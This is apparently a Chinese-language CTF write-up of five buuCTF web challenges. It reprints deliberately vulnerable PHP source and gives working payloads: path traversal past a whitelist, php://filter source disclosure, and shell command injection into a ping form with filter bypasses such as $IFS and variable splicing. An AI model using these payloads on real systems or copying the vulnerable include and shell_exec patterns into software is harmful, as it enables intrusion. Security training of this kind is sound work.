buuCTF-Web

  1. 1. [极客大挑战 2019]Havefun
  2. 2. [HCTF 2018]WarmUp
    1. 2.1. 疑问
  3. 3. [ACTF2020 新生赛]Include
  4. 4. [ACTF2020 新生赛]Exec
  5. 5. [GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]Havefun

1688655718330

看页面源码,发个cat=dog的query即可

[HCTF 2018]WarmUp

大滑稽
f12页面提示我们访问source.php

网页源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//这里和上面类似 查看_page 是否在白名单中

$_page = urldecode($page); // 这里发现对_page进行了一次decode解码,
$_page = mb_substr( //获取两个??之间的内容
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {//白名单
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

包含hint后得知我们最后需要包含ffffllllaaaagggg文件

吧没什么用的代码删一下

1
2
3
4
5
6
7
8
9
10
11
12
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
$_page = urldecode($page); // 这里发现对_page进行了一次decode解码,
$_page = mb_substr( //获取两个??之间的内容
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {//白名单
return true;
}
echo "you can't see it";
return false;

我们需要想办法使她返回true

可知我们的参数需要满足以下格式 source.php?[something]hint.php?[something]

最后的query参数为?file=source.php?../../../../../ffffllllaaaagggg

实际include的文件为 source.php?../../../../../ffffllllaaaagggg

疑问

这里有一个不理解,就是?会怎么处理,实验发现貌似?被忽略了

[ACTF2020 新生赛]Include

进来就一个tips,点一下跳转到/?file=flag.php

一开始猜是任意文件包含,然后看了一下好像没啥可构造的,源码干净的一批

然后就想如何获取源码,有了源码一切就好说了

答案是php伪协议

PHP伪协议总结

php://filter/read=convert.base64-encode/resource=flag.php 读取php文件源码(不然就被执行了)
`

[ACTF2020 新生赛]Exec

看名字Exec(执行)然后网页上一个大大的ping
PingIndex
那猜测是直接用系统的ping命令
使用命令localhost;ls测试,成功输出了文件列表
localhost;ls \找到flag
localhost;cat \flag获取flag

[GXYCTF2019]Ping Ping Ping

这道题和 ‘[ACTF2020 新生赛]Exec’很相似,但是加了N多屏蔽

ls完了发现需要cat一下flag.php

这里的php过滤很狠,过滤了空格,换行符,等等

查阅资料发现可以用以下方式绕过

$IFS (这是Linux命令和参数的分隔符)
${IFS}
$IFS$1 //1 改 成 1改成1改成加其他数字貌似都行,这里主要是让$停止识别IFS之后的字母
< 这俩不明白
<>
{cat,flag.php} //用逗号实现了空格功能
%20 url编码
%09 这是啥??????????

注,cat有时候被屏蔽,可以用tac,或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag

通过这个尝试查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

过滤了相当多的东西,而且flag有正则匹配

此处对flag的绕过采用了Linux Shell变量的方法:

/ip=1;a=g;cat$IFS$1fla$a.php

查看网页源码得flag